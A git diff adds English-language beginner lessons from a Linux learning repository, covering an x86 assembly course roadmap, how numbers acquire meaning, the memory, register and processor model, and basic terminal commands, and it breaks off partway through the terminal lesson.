+| 4.5 | [04.5_registerin_ici](./04.5_registerin_ici.md) | Inside a register: AL/AH/AX/EAX, "same bits, different window" | Register anatomy |
+
+> 💡 Files whose number ends in `.5` (`1.5`, `4.5`, `5.5`…) are each a short **side lesson**: added to the main road but lighter. If you're in a hurry you can skip them; but frequently-asked points like "how does a cat video become a number?", "what's inside a register?", "what did those instructions do behind the scenes?" are clarified there.
+
+### ⚙️ Unit 1 — First Instructions: Giving the Worker Orders
+
+| # | File | What it teaches | First thing that runs |
+|:---:|---|---|---|
+| 5 | [05_kurulum_ve_ilk_program](./05_kurulum_ve_ilk_program.md) | `nasm`/`ld`/`gdb` installation, the "write → assemble → run" chain | A program that does nothing and exits |
+| 5.5 | [05.5_perde_arkasi](./05.5_perde_arkasi.md) | Behind the scenes: `./` and PATH, `nasm` vs `ld`, what `_start` really is | (no code) |
+| 6 | [06_ilk_gercek_program](./06_ilk_gercek_program.md) | Value into a register with `mov`, exit code, `echo $?` | A number on the screen: "8!" |
+| 7 | [07_gdb_tek_adim](./07_gdb_tek_adim.md) | Step one instruction at a time in GDB, watch the registers | "Write an instruction → see what changed" |
+| 8 | [08_mov_ve_bellek](./08_mov_ve_bellek.md) | Kinds of `mov`, `[...]` = the place the address in the box points to; first pointer tracking | First pointer intuition |
+| 8.5 | [08.5_little_endian](./08.5_little_endian.md) | Looking at memory byte by byte; the "exactly reversed" byte order (little-endian) | Byte-layout intuition |
+| 9 | [09_aritmetik](./09_aritmetik.md) | `add`, `sub`, `inc`, `dec` | A tiny calculator |
+
+### 🔀 Unit 2 — Flow: Making the Worker Decide
+
+| # | File | What it teaches | First thing that runs |
+|:---:|---|---|---|
+| 10 | [10_bayraklar_ve_cmp](./10_bayraklar_ve_cmp.md) | Flags (ZF/SF...), `cmp`/`test` | "How the worker remembers a comparison" |
+| 11 | [11_ziplamalar](./11_ziplamalar.md) | `jmp`, `jz`, `jnz`, `jl`, `jg` | An "even or odd" program |
+| 12 | [12_donguler](./12_donguler.md) | A loop with a counter + conditional jump | Countdown from 10, sum of 1..N |
+| 13 | [13_bit_islemleri](./13_bit_islemleri.md) | `and`, `or`, `xor`, `shl`, `shr` | Why `xor eax, eax` means "zero out" |
+
+### 🧱 Unit 3 — Parts and the Operating System
+
+| # | File | What it teaches | First thing that runs |
+|:---:|---|---|---|
+| 14 | [14_stack](./14_stack.md) | `push`/`pop`, why the stack grows downward | The worker's "notepad" |
+| 15 | [15_call_ve_ret](./15_call_ve_ret.md) | Functions, return address, the `call`/`ret` duo | A reusable part |
+| 16 | [16_calling_convention](./16_calling_convention.md) | cdecl: giving data to a part, return value, prologue/epilogue | Calling "add(3,5)" |
+| 17 | [17_sistem_cagrilari](./17_sistem_cagrilari.md) | `int 0x80`, syscall numbers, text/input to the screen | A real "Hello World" |
+| 18 | [18_ilk_etkilesimli_program](./18_ilk_etkilesimli_program.md) | Put it all together | An asm program that asks your name and greets you |
+
+### 🌉 Unit 4 — The Bridge
+
+| # | File | What it teaches |
+|:---:|---|---|
+| 19 | [19_c_ile_assembly_koprusu](./19_c_ile_assembly_koprusu.md) | Compile a tiny C program, look at its asm, see familiar patterns |
+| 20 | [20_buradan_nereye](./20_buradan_nereye.md) | Moving to 64-bit, reverse engineering, exploitation and advanced resources |
+
+---
+
+## How Should You Study?
+
+1. **Don't break the order.** Even if Unit 0 feels boring, don't skip it — everything above it rests on it.
+2. **Run every instruction yourself.** Reading isn't enough; assembly is learned *with your fingertips*. Don't consider a lesson finished until you've written and run a program.
+3. **Watch it in GDB.** If you don't understand what an instruction does, step one at a time in GDB and **see with your own eyes** how the registers/memory change. (We'll set it up in Unit 1.) This is the most powerful learning tool of the whole course.
+4. **Go back when you're stuck.** A term you don't understand has almost always been explained in the *previous* lesson. Going back is normal.
+5. **Slow = fast.** Rushing and half-understanding will cost you double the time later.
+
+---
+
+## If Something Breaks
+
+Throughout this course, getting errors **is part of the job** — programming is already the "get an error, fix it" loop. When an instruction doesn't work, don't panic; most of the time it's a letter/number typo or a skipped step. In Unit 1 we'll also learn to "read the error message".
+
+---
+
+## 🔗 Next Step
+
+- [01_bilgisayar_nedir.md](./01_bilgisayar_nedir.md) — continue from here. First we'll understand what the machine is; no code at all, we're just building the picture.
+
+> 🎯 **Where to after finishing the course?** This asm foundation is the direct preparation for the **[Binary Exploitation series](../binary_exploitation/00_buradan_basla.md)** (*bending* the flow of programs) in the same repo and for the OverTheWire wargames — first learn to *"give the worker orders"*, then learn to *"bend the order."*
+
+---
+
+*This guide is part of the [waitaseC137/linux_learning](https://github.com/waitaseC137/linux_learning) repository.*
diff --git a/docs/eng/konu_anlatimlari/x86_assembly/01.5_sayi_ve_anlam.md b/docs/eng/konu_anlatimlari/x86_assembly/01.5_sayi_ve_anlam.md
new file mode 100644
index 0000000..3bd6eda
--- /dev/null
+++ b/docs/eng/konu_anlatimlari/x86_assembly/01.5_sayi_ve_anlam.md
@@ -0,0 +1,115 @@
+# 🎨 x86 Assembly — The Same Number, a Thousand and One Meanings
+
+> In 01 we said this: each box in the warehouse holds only a single number, and the worker plays only with numbers.
+> But then a very fair question arises: the cat video you're watching, the song you're listening to, that "A"
+> letter on your screen... where are they? If everything is 1s and 0s, how can a whole movie be nothing but a pile of numbers?
+> In this short interlude lesson we solve exactly that — and the answer, it turns out, was in our hands all along.
+
+> **No code here either.** This is a little "but wait, how does *that* work?"
+> break that comes right after 01. It'll be short; but by the end, the phrase "everything is a number" stops hanging in the air and lands on solid ground.
+
+---
+
+## 📋 Table of Contents
+
+- [A Number, on Its Own, Means Nothing](#a-number-on-its-own-means-nothing)
+- [So How Does That Cat Video Become a Number?](#so-how-does-that-cat-video-become-a-number)
+- [Does the Worker Understand This? No](#does-the-worker-understand-this-no)
+- [Same Issue: Address or Value?](#same-issue-address-or-value)
+
+---
+
+## A Number, on Its Own, Means Nothing
+
+I wrote a big **3** on a piece of paper and handed it to you. What does this 3 mean?
+
+You can't tell — because on its own it means nothing. Is it 3 apples? The 3rd floor of a building? Bus number 3? 3 o'clock? The paper itself doesn't know this; **you give it meaning according to the situation you're in.** The same "3" is a floor number in one place and an apple count in another.
+
+Here it is — the computer's deepest secret is this simple:
+
+> 🔑 A number's meaning lies **not in the digit itself, but in the intent of the code that reads it.** A box in memory might have `72` written in it. This 72 could be an ordinary number, or the letter `H`, or a shade of red, or a moment from a piece of music. The box doesn't know which one it is. **Whoever reads it, and for what purpose** — that's what determines its meaning.
+
+So when we said "everything is a number" we said something incomplete: the correct version is, **everything is a number, and what gives those numbers meaning is the code that uses them.** Now let's see this in the example you're most curious about.
+
+---
+
+## So How Does That Cat Video Become a Number?
+
+Let's start with a picture. Every image on the screen is actually made of **tiny dots** arranged like a grid. These dots are called **pixels** — if you look very closely at your screen (or with a magnifying glass) you can see these little squares.
+
+So how is a single pixel stored? With a few numbers: how **red**, how **green**, how **blue** that dot is. (By mixing these three colors you can get any color.) Each one is a number between 0 and 255:
+
+```
+ A single pixel = 3 numbers:
+
+ ┌─────┬─────┬─────┐
+ │ R │ G │ B │ ← how much Red / Green / Blue
+ │ 255 │ 0 │ 0 │ ← this example: a fully red dot
+ └─────┴─────┴─────┘ (each 0–255)
+```
+
+So that "red dot" you see is, in the machine's eyes, just three numbers: `255, 0, 0`. Line up thousands of pixels side by side and top to bottom — there you have a whole **image**, that is, a gigantic list of numbers. A **video** is then dozens of images (each one called a frame) shown one after another per second, plus its sound. Your cat video, at the very bottom, is nothing but millions of numbers.
+
+But how do these numbers become a colorful image in your eye? Here's the critical point:
+
+> 🔑 What turns the numbers into a picture is not the numbers themselves, but a piece of **hardware** that reads them. The screen is made of millions of tiny lights. A special part (the graphics card / display hardware) reads those pixel numbers in memory and lights up each light exactly according to that number. The hardware that sees "255, 0, 0" makes the light at that dot fully red. When millions of lights turn on correctly at the same time, you see a "cat."
+
+Sound follows exactly the same logic: a song is a list of numbers telling the speaker how much to be pushed at each moment — tens of thousands of numbers per second. A sound chip reads these numbers and moves the speaker; you hear the music.
+
+> 💡 Advanced note: Inside a video or music file these numbers are usually kept **compressed** (otherwise the files would be enormous). How that compression works is a whole topic of its own and not our concern. The only idea that matters for us is this: at the very bottom, everything is numbers that tell the "how much" of something (redness, loudness...); and what makes those numbers meaningful is the code or hardware that reads them.
+
+---
+
+## Does the Worker Understand This? No
+
+This is exactly the moment to recall the "very fast but very dumb worker" from 01. When the worker looks at memory and sees `72`, it doesn't say "ah, this is the letter `H`." The worker **understands nothing** — it knows neither picture, nor letter, nor music. It just carries out the current order in front of it: "take what's in that box," "add this to that," "put it there."
+
+So then who makes the "72 = H" agreement? **Programs** make it. A text program has agreed from the start that "let the number 72 represent the letter `H`" (this agreement is called *character encoding*; the best known is ASCII, which we'll see later). An image program has agreed that "every three numbers is the color of one pixel." The worker knows none of these agreements; it just carries, copies, adds.
+
+> 🔑 Meaning is a silent agreement between the code that **writes** a byte and the code that **reads** it. The worker is not part of this agreement — it applies the orders blindly, and the programs supply the meaning. That's why the same `72` can be a letter in one program's hands and a color in another's; there's no contradiction, because they're reading it with different agreements.
+
+---
+
+## Same Issue: Address or Value?
+
+Now let's go back and see that the confusing distinction from 01 is actually one face of this same principle.
+
+In 01 we said that an address (a box number) and a value (a box's contents) are different things. But both are, in the end, numbers. Say the worker has `5` in its pocket. Is this "they gave me **5 apples**" (a value), or "go to **box number 5**" (an address)?
+
+The worker looks at this 5 and **can't tell** — both are merely 5. Just like the 3 on the paper. Once again the **instruction** gives the answer: one order says "treat this 5 as a value, use it as it is"; another order says "treat this 5 as an address, go fetch box number 5." So the meaning of the 5 is not inside the 5, but in the intent of the order that uses it.
+
+> 💡 Advanced note: Later, when you learn the real syntax, you'll see that telling the machine "treat this number as an address" has a special mark (like square brackets). That mark is precisely the way to set up this agreement explicitly. The details are in [08_mov_ve_bellek](./08_mov_ve_bellek.md).
+
+It all comes down to one and the same sentence: **it's not the number that gives meaning, but the code that uses it.** Put this idea in your pocket — it'll serve you again and again in the rest of the course (especially on the topics of memory, pointers, and addresses).
+
+---
+
+## Summary — Keep in Mind
+
+```
+☐ A number on its own is meaningless. Its meaning is set by the intent of the code that READS it.
+ - Like the "3" on paper: 3 apples, or 3rd floor? Depends on the situation. The computer is the same.
+☐ "Everything is a number" was an incomplete sentence; the correct one: everything is a number + the code gives those numbers meaning.
+☐ Image = pixels, grid by grid; each pixel = a few numbers (Red/Green/Blue, 0–255).
+ - Red dot = (255, 0, 0). A bunch of pixels = image. Images one after another + sound = video.
+☐ What turns the number into an image is not the number but the HARDWARE: the graphics card reads the numbers, lights the lights.
+ Sound is the same: numbers → sound chip → speaker.
+☐ The worker UNDERSTANDS nothing (01). Programs make the "72 = H" agreement; the worker just carries/processes.
+☐ Address or value? is the same issue: the INSTRUCTION says whether the 5 is a value or an address.
+☐ One sentence: it's not the number that gives meaning, but the code that uses it.
+```
+
+---
+
+## 🔗 Related Topics
+
+- [01_bilgisayar_nedir.md](./01_bilgisayar_nedir.md) — "Everything is a number" and the dumb worker idea; where this lesson was born
+- [03_sayilar_ikilik_onaltilik.md](./03_sayilar_ikilik_onaltilik.md) — The numbers themselves: bit, byte, 0–255, and hex
+- [04_bellek_ve_registerlar.md](./04_bellek_ve_registerlar.md) — Where the address/value distinction and the pointer get deeper
+
+---
+
+**Previous topic:** [01_bilgisayar_nedir.md](./01_bilgisayar_nedir.md)
+**Next topic:** [02_terminal_ile_tanisma.md](./02_terminal_ile_tanisma.md)
+
+*This guide is part of the [waitaseC137/linux_learning](https://github.com/waitaseC137/linux_learning) repository.*
diff --git a/docs/eng/konu_anlatimlari/x86_assembly/01_bilgisayar_nedir.md b/docs/eng/konu_anlatimlari/x86_assembly/01_bilgisayar_nedir.md
new file mode 100644
index 0000000..0cff059
--- /dev/null
+++ b/docs/eng/konu_anlatimlari/x86_assembly/01_bilgisayar_nedir.md
@@ -0,0 +1,232 @@
+# 🧠 x86 Assembly — What a Computer Really Is
+
+> There is no magic inside a computer. There is a giant warehouse (memory), a few boxes in the worker's pocket (registers),
+> and, working on top of these boxes, a very fast but very dumb worker (the processor).
+> This worker does one single thing: read the next order on the list, carry it out **to the letter**, move on to the next.
+> The whole computer — your phone, your game console, the machine you opened this file on — is the story of these three parts.
+
+> **There is not a single line of code in this lesson.** We are only going to build up a picture in your head of what the machine is like.
+> This picture is the ground the rest of the course sits on. Don't rush; read it twice if you need to.
+
+---
+
+## 📋 Table of Contents
+
+- [A Computer Is Not Magic](#a-computer-is-not-magic)
+- [Part 1 — Memory: A Warehouse of Numbered Boxes](#part-1--memory-a-warehouse-of-numbered-boxes)
+- [Part 2 — Registers: The Boxes in the Worker's Pocket](#part-2--registers-the-boxes-in-the-workers-pocket)
+- [Part 3 — The Processor: A Very Fast, Very Dumb Worker](#part-3--the-processor-a-very-fast-very-dumb-worker)
+- [The Only Thing the Worker Does: Fetch → Do → Advance](#the-only-thing-the-worker-does-fetch--do--advance)
+- [What Is a Program?](#what-is-a-program)
+- [What Does "Running a Program" Mean?](#what-does-running-a-program-mean)
+- [Which Orders Does the Worker Understand? (A Small Preview)](#which-orders-does-the-worker-understand-a-small-preview)
+- [Why Does Such a Dumb Worker Work at All?](#why-does-such-a-dumb-worker-work-at-all)
+
+---
+
+## A Computer Is Not Magic
+
+For most people a computer is a box, with no idea of what spins inside it. You click, something happens; you type, letters appear on the screen. How? Unclear.
+
+Here is the truth: a computer is a machine that does **very simple things at an unbelievable speed.** The worker inside it does not "understand English," does not "think about what you want," is not "smart." It does just a handful of very primitive jobs — but **billions of times** per second. All the magic comes out of this speed and out of this simplicity piling up on itself.
+
+The goal of this lesson is to open the lid of that box and introduce you to the three parts inside. Once you have seen them, the question "how does a computer work?" will stop being mysterious.
+
+---
+
+## Part 1 — Memory: A Warehouse of Numbered Boxes
+
+Imagine: a giant warehouse whose end you cannot see. Inside it are **small boxes** lined up in rows. Each box has:
+
+- a **number** (it goes 0, 1, 2, 3, …),
+- and inside it sits a single **small number**.
+
+```
+ Number: 0 1 2 3 4 5 ...
+ ┌────┐ ┌────┐ ┌────┐ ┌────┐ ┌────┐ ┌────┐
+ Content: │ 72 │ │ 13 │ │ 0 │ │255 │ │ 42 │ │ 7 │ ...
+ └────┘ └────┘ └────┘ └────┘ └────┘ └────┘
+```
+
+This warehouse is the computer's **memory** (in English *memory*, or RAM in common speech). All the data a program uses while it runs — the letters you type, the pixels of the image you open, your health in a game — are all numbers inside these boxes.
+
+Separate two words right now, because you'll need them everywhere:
+
+- A box's **number** = its **address** (*address*). "Box number 3" means "the box at address 3."
+- The **number inside** a box = its **value / contents**.
+
+> 🔑 Address and value are **different things.** "Box number 3" (address = 3) must not be confused with "the box with 255 written in it" (value = 255). This distinction is the spot people trip over most often later on — let it be clear right now: **address = where the box is, value = what's inside the box.**
+
+Each box is called a **byte**; a number between 0 and 255 fits inside it. (Why exactly 255? We'll see that in [03_sayilar_ikilik_onaltilik](./03_sayilar_ikilik_onaltilik.md) — for now "a small number" is enough.)
+
+---
+
+## Part 2 — Registers: The Boxes in the Worker's Pocket
+
+The warehouse is huge but it has one problem: it's **far away.** Every time, it takes the worker a while to walk to the shelf and find the right box.
+
+That's why the worker has **a few special boxes** in the pockets of their apron. These are:
+
+- **very few in number** (a bit more than the fingers of one hand),
+- but reachable **instantly** — they reach out and grab; no walking to the shelf.
+
+```
+ WORKER
+ ┌───────────────┐
+ │ pocket boxes │ ← registers: few, but at light speed
+ │ [ EAX: 5 ] │
+ │ [ EBX: 0 ] │
+ │ [ ECX: 99 ] │
+ │ [ ... ] │
+ └───────────────┘
+ ⇕ (slow round trip)
+ ┌──────────────────────────────────────────┐
+ │ WAREHOUSE (memory): millions of boxes │
+ └──────────────────────────────────────────┘
+```
+
+These pocket boxes are called **registers**. The worker does almost all of the real work with these pocket boxes: it takes a number out of the warehouse and puts it in a pocket, plays with it in the pocket (adds, compares), then, if needed, puts the result back on the shelf in the warehouse.
+
+On the x86 processor each of these pocket boxes has a name: `EAX`, `EBX`, `ECX`, `EDX`, and a few more. Their names may look scary for now; in the coming units we'll get to know each one, one at a time, as the need arises. For now the only thing you need to know is: **register = the worker's boxes, few in number, reachable instantly.**
+
+> 💡 Why both a warehouse and pockets? Because there is a trade-off between speed and room: the pocket boxes are very fast but very few; the warehouse is very roomy but slow. The worker uses both together — it keeps the big data in the warehouse and pulls what it's about to work on into a pocket.
+
+---
+
+## Part 3 — The Processor: A Very Fast, Very Dumb Worker
+
+Now we've reached the main character: the **processor** (in English *CPU*, or *processor*). This is the thing we've been calling the "worker" above.
+
+This worker has two basic traits, and both are true at the same time:
+
+1. **It is incredibly fast.** It takes billions of tiny steps per second. A single blink of your eye is like a lifetime to it.
+2. **It is incredibly dumb.** It "understands" nothing. It doesn't know what you're trying to do, takes no initiative, doesn't say "you probably meant this." It only carries out **the current order** in front of it, exactly.
+
+The whole philosophy of assembly is hidden in this sentence:
+
+> 🔑 The worker is not smart; it is **obedient to the letter.** Whatever you tell it, it does exactly that — not more, not less, not some "well-meaning" interpretation. That's why writing a program = telling this worker, in a language it understands, **step by step** what to do.
+
+Picture a cook, but a cook who follows the recipe *word for word*, with no common sense at all. If the recipe says "crack the eggs," it throws them into the bowl shell and all — because you didn't write "peel off the shell." A computer is exactly this kind of cook. It seems maddening, but it's actually a **superpower**: you can know in advance exactly what will happen, because the worker never acts "on its own."
+
+---
+
+## The Only Thing the Worker Does: Fetch → Do → Advance
+
+So what exactly does this worker do? It repeats a single loop, without stopping, billions of times:
+
+```
+ ┌──────────────────────────────────────────┐
+ │ │
+ │ 1) FETCH: Read the next order │
+ │ 2) DO: Carry it out to the letter │
+ │ 3) ADVANCE: Move to the next order │
+ │ │
+ └──────────────┐ ▲──────────────┘
+ └──────────────┘
+ (repeat from the start)
+```
+
+That's all. The worker reads the order on the list, does it, moves on to the next; then reads again, does, moves on… This is called the **fetch-do-advance loop** (in English *fetch–execute cycle*). *Everything* the computer does — playing a movie, a game, showing this text — is this simple loop repeated billions of times, at a tremendous speed.
+
+> 💡 The worker also holds one more piece of information: "which line of the list am I on right now" — as if it keeps a finger on top of the line it's reading. Normally, after each order the finger slides down to the next line. But some orders can say "put your finger on this line" — that's exactly how decisions and loops happen. (This idea of "the line the finger rests on" will become very important later.)
+
+---
+
+## What Is a Program?
+
+Whatever that **list of orders** the worker reads is — that is what's called a **program**.
+
+A program is a **to-do list** made of instructions written in order from start to finish:
+
+```
+ Line 1: put 5 in box EAX
+ Line 2: put 3 in box EBX
+ Line 3: add EBX to EAX (now EAX = 8)
+ Line 4: tell the OS "I'm done, my result is in EAX"
+```
+
+The worker reads this list top to bottom, doing each line to the letter. The four lines above are a real program too — we've just written it in plain language so far. In the coming units we'll learn to translate it into the language the worker actually understands (assembly). What matters right now is the idea: **program = the list of orders given to the worker, carried out in order.**
+
+> ⚠️ Underline the word "in order." The worker processes the lines **one by one, in sequence.** By the time the third line runs, the first and second are long finished. This sequentiality is the backbone of programming — get used to thinking "first this happens, then that."
+
+> 💡 **You might be wondering:** *"If the worker does everything in order, how am I listening to music and browsing the internet at the same time?"* Two things are true at once: (1) the worker is so fast that a **manager** (the operating system) shuffles it between programs thousands of times per second — "a bit of Spotify, a bit of the mouse, a bit of the browser…" — and because of this speed it feels to you as if everything is happening at the same time. (2) On modern machines there is actually not one worker but **several workers** (cores/*core*); some jobs really do happen at the same time. When writing code we'll still think in terms of one worker + one list, because what matters is that single flow; multitasking is handled "up top," by the manager.
+
+---
+
+## What Does "Running a Program" Mean?
+
+"Running a program" might sound like a fancy phrase, but its meaning is very simple:
+
+> You put your list of orders into memory (the warehouse), you tell the worker "start from this line," and the worker begins carrying out your list from start to finish with the fetch-do-advance loop.
+
+So a running program = **the worker reading and doing your list.** When the program ends (or says "I'm done"), the worker stops and hands control back to the operating system.
+
+One extra term: a program that has been loaded into memory and is **currently running** is called a **process**. So "program" is the recipe sitting on disk; "process" is that recipe in its state of being cooked in the kitchen right now. You'll experience this distinction with your own hands in [02_terminal_ile_tanisma](./02_terminal_ile_tanisma.md).
+
+---
+
+## Which Orders Does the Worker Understand? (A Small Preview)
+
+The worker recognizes only a **handful** of orders — and the surprising thing is that all software is built from combinations of this handful of orders. We're not learning syntax yet; let's just take a look at the *kinds* so we know where we're heading:
+
+| Kind of order | In plain words | Which lesson |
+|---|---|---|
+| **Move** | "Put this number in that box," "take what's in that box over here" | [08_mov_ve_bellek](./08_mov_ve_bellek.md) |
+| **Compute** | "Add / subtract these two" | [09_aritmetik](./09_aritmetik.md) |
+| **Compare** | "Are these two numbers equal? greater?" | [10_bayraklar_ve_cmp](./10_bayraklar_ve_cmp.md) |
+| **Jump** | "Go to this line of the list" (decisions, loops) | [11_ziplamalar](./11_ziplamalar.md) |
+| **Call a part** | "Run this section of the list, then come back here" | [15_call_ve_ret](./15_call_ve_ret.md) |
+| **Call out to the OS** | "Operating system, print this to the screen / read this" | [17_sistem_cagrilari](./17_sistem_cagrilari.md) |
+
+As you can see, the list is short. All the programs a person uses in their whole life — that's just this handful of primitive orders, lined up billions of times, in the right sequence. And that's the beauty of it: from a small number of simple parts, unlimited complexity.
+
+Just to satisfy your curiosity, here's a glimpse of how the order "put 5 in box EAX" looks in real assembly (don't memorize it yet, just see it):
+
+```
+mov eax, 5
+```
+
+That's it. The way to say "put 5 in EAX" to the machine. In the coming units we'll write this and **run** it, and we'll see that 5 on the screen with `echo $?`.
+
+---
+
+## Why Does Such a Dumb Worker Work at All?
+
+We've been saying "dumb worker" all along; this sounds like a flaw. Actually it gives two big **advantages**:
+
+1. **Predictability.** Because the worker never improvises, you can know **for certain** what a program will do. There is no "did it maybe mean this?"; whatever you wrote is what happens. This is what makes hunting for bugs (and, later, understanding security holes) possible.
+2. **Speed.** Because the worker doesn't "think," and only carries out simple orders, it can be incredibly fast. Intelligence is slow; dumb but fast execution, when piled up, does everything.
+
+> 🔑 In short: a computer's power comes not from its intelligence but from **repeating simple jobs flawlessly and at a dizzying speed.** You give it the right list; it carries out the list with flawless loyalty. Programming is the craft of writing that list.
+
+---
+
+## Summary — Keep in Mind
+
+```
+☐ A computer is not magic: a warehouse + pocket boxes + a worker.
+☐ Memory (the warehouse) = numbered boxes; each box holds a number.
+ - The box's NUMBER = address. The box's INSIDE = value. (They're different!)
+☐ Register (pocket boxes) = the FEW boxes the worker reaches instantly (EAX, EBX...).
+☐ Processor (the worker) = very fast + very dumb; only does fetch → do → advance.
+☐ Program = a list of orders carried out in sequence (a to-do list).
+☐ Running = putting the list into memory and telling the worker "start." A running program = a process.
+☐ The worker understands a handful of orders: move, compute, compare, jump, call a part, call out to the OS.
+☐ Dumbness is not a flaw: it means predictability + speed.
+```
+
+---
+
+## 🔗 Related Topics
+
+- [00_buradan_basla.md](./00_buradan_basla.md) — The course roadmap and how to study it
+- [01.5_sayi_ve_anlam.md](./01.5_sayi_ve_anlam.md) — If "everything is a number," how does a cat video happen? Meaning comes from the code
+- [02_terminal_ile_tanisma.md](./02_terminal_ile_tanisma.md) — Where we'll talk to this worker from: the terminal
+- [04_bellek_ve_registerlar.md](./04_bellek_ve_registerlar.md) — A closer look at the warehouse and pocket boxes
+
+---
+
+**Previous topic:** [00_buradan_basla.md](./00_buradan_basla.md)
+**Next topic:** [01.5_sayi_ve_anlam.md](./01.5_sayi_ve_anlam.md)
+
+*This guide is part of the [waitaseC137/linux_learning](https://github.com/waitaseC137/linux_learning) repository.*
diff --git a/docs/eng/konu_anlatimlari/x86_assembly/02_terminal_ile_tanisma.md b/docs/eng/konu_anlatimlari/x86_assembly/02_terminal_ile_tanisma.md
new file mode 100644
index 0000000..00190a9
--- /dev/null
+++ b/docs/eng/konu_anlatimlari/x86_assembly/02_terminal_ile_tanisma.md
@@ -0,0 +1,278 @@
+# 💻 x86 Assembly — Getting to Know the Terminal
+
+> Until now you've always talked to the computer by *clicking*: press an icon, a window opens.
+> The terminal, on the other hand, is where you give the computer orders by **typing** — not with the mouse, with the keyboard, one at a time.
+> At first it looks bare and intimidating; but it's actually the cleanest way to talk directly, without a middleman, to that "letter-for-letter obedient worker" from the previous lesson.
+> In this lesson, for the first time, we'll give it orders with our own hands.
+
+> **There is not a single line of assembly in this lesson.** We'll just get to know the terminal, type a few commands into it, and *see with our own eyes* what happens. The goal: to feel comfortable in front of the terminal. That comfort will be the foundation of everything later, when you write and run code.
+
+---
+
+## 📋 Table of Contents
+
+- [What Is the Terminal? (And Why Not the Mouse?)](#what-is-the-terminal-and-why-not-the-mouse)
+- [How Do I Open the Terminal?](#how-do-i-open-the-terminal)
+- [The Anatomy of the Terminal: Type, Press Enter, Read](#the-anatomy-of-the-terminal-type-press-enter-read)
+- [Your First Order: `echo`](#your-first-order-echo)
+- [Where Am I? What's Here?](#where-am-i-whats-here)
+- [Make a Folder, Go Inside](#make-a-folder-go-inside)
+- [Create a File and Look Inside It](#create-a-file-and-look-inside-it)
+- [What Just Happened? (A Program or a Process?)](#what-just-happened-a-program-or-a-process)
+- [Did You Get an Error? Good.](#did-you-get-an-error-good)
+
+---
+
+## What Is the Terminal? (And Why Not the Mouse?)
+
+When you double-click an icon, what you're really telling the computer is: "run that program." You just say it **with the mouse**. The terminal is a window where you say the same thing **by typing**: you write a command, you press Enter, the computer does it.
+
+So why type when clicking is right there? Because:
+
+- **Precision.** With the mouse there's no "I meant that one"; whatever command you type is exactly what runs. This is the natural way to talk to the "letter-for-letter obedient worker" from the previous lesson.
+- **Power.** With a single line, you can instantly make it do work that would take minutes of fiddling with the mouse.
+- **Necessity.** Writing and running assembly, compiling code, tracing a program step by step — all of this is done from the terminal. So for this course the terminal isn't a choice, it's our home.
+
+> 💡 "Terminal", "console", "command line", "shell" — you'll hear all of them for more or less the same thing: that window where you give commands by typing. For now, don't worry about the fine differences between them.
+
+---
+
+## How Do I Open the Terminal?
+
+This course is entirely about **Linux** — our assembly tools (nasm, ld, gdb) live there. We won't be using Windows or macOS; we go straight through Linux.
+
+There are a few ways to open the terminal on Linux:
+
+- Find and open the application named **"Terminal"** (on some systems **"Console"**) among your applications.
+- Or the shortcut that works on most desktops: **`Ctrl + Alt + T`**.
+
+> 💡 If you don't have a working Linux yet, don't worry: we'll do the full setup of the environment and tools together, start to finish, in [05_kurulum_ve_ilk_program](./05_kurulum_ve_ilk_program.md). It's perfectly fine to get through this lesson just by **reading** for now, and to come back and try the commands yourself once you've set up the terminal.
+
+When you open it, what most likely appears is a dark-colored window with a few words in it and a small, blinking line. Don't be afraid — we'll figure it out in a moment.
+
+---
+
+## The Anatomy of the Terminal: Type, Press Enter, Read
+
+That first line you see in the terminal window is called the **prompt** (the command prompt). It's the line that says to you, "go ahead, type your order." Roughly, it looks like this:
+
+```
+kullanici@bilgisayar:~$ ▮
+```
+
+Piece by piece:
+
+```
+ kullanici → your username
+ @ → means "at"
+ bilgisayar → the name of the machine
+ ~ → the folder you're currently in (~ = your home folder)
+ $ → the "you can type a command here" mark
+ ▮ → the blinking cursor: the letters you type go here
+```
+
+You talk to the terminal in a single rhythm:
+
+```
+ 1) TYPE the command
+ 2) Press ENTER
+ 3) The computer runs the command, prints the result (the output)
+ 4) It gives you a new prompt: "go ahead, what's next?"
+```
+
+That's all. The blinking cursor is patient because it's waiting for you; there's no rush. If you type wrong, you can delete it before pressing Enter. Let's give it its first order.
+
+---
+
+## Your First Order: `echo`
+
+`echo` means "whatever I give you, write it back to the screen." It's the most harmless, most reassuring first command. Type this and press Enter:
+
+```
+echo Hello
+```
+
+What you'll see:
+
+```
+Hello
+```
+
+It worked! You told the computer something, and it did it letter for letter — no more, no less, just like that dumb-but-obedient worker. Print something else if you like:
+
+```
+echo i command the computer
+```
+```
+i command the computer
+```
+
+> 💡 This little moment matters: **you** made that text appear on the screen, without clicking anywhere with the mouse. That's the whole logic of the terminal — type, let it run, see the result.
+
+---
+
+## Where Am I? What's Here?
+
+The terminal is always standing **inside a folder** (just like you're standing in an open folder in a file manager, but invisibly). Two basic questions:
+
+**"Which folder am I in right now?"** → `pwd` (in English, *print working directory*)
+
+```
+pwd
+```
+```
+/home/kullanici
+```
+
+So right now you're in the home folder of the person named `kullanici`. (The `~` mark in the prompt was already telling you this.)
+
+**"What's in this folder?"** → `ls` (in English, *list*)
+
+```
+ls
+```
+```
+Documents Downloads Desktop Pictures
+```
+
+`ls` lists the files and folders in the folder you're in. In an empty folder it prints nothing — that's normal too, it means "there's nothing here."
+
+> 🔑 Keep in mind: in the terminal you are **always somewhere.** "Where am I?" `pwd`, "what's here?" `ls`. If you feel lost, these two are your compass.
+
+---
+
+## Make a Folder, Go Inside
+
+So we don't leave the course files scattered around, let's open a work folder for ourselves.
+
+**Create a folder** → `mkdir` (in English, *make directory*)
+
+```
+mkdir asm_dersi
+```
+
+It prints nothing to the screen — but the silence here means "okay, done." (The worker doesn't talk unnecessarily.) Check with `ls`, and now `asm_dersi` should show up.
+
+**Go inside the folder** → `cd` (in English, *change directory*)
+
+```
+cd asm_dersi
+```
+
+Now if you type `pwd` you'll notice you see `/asm_dersi` at the end — you went inside. If you want to go back out:
+
+```
+cd ..
+```
+
+`..` means "one folder up." With `cd` you move between folders like walking between the rooms of a building.
+
+> 💡 While typing a command, try writing the first few letters of a folder/file name and pressing **Tab** — the terminal completes the rest for you. It both speeds you up and prevents typos. (This is called *tab completion*; it'll be indispensable to you.)
+
+---
+
+## Create a File and Look Inside It
+
+While you're inside the `asm_dersi` folder, let's create a small note file:
+
+```
+echo "my first note" > not.txt
+```
+
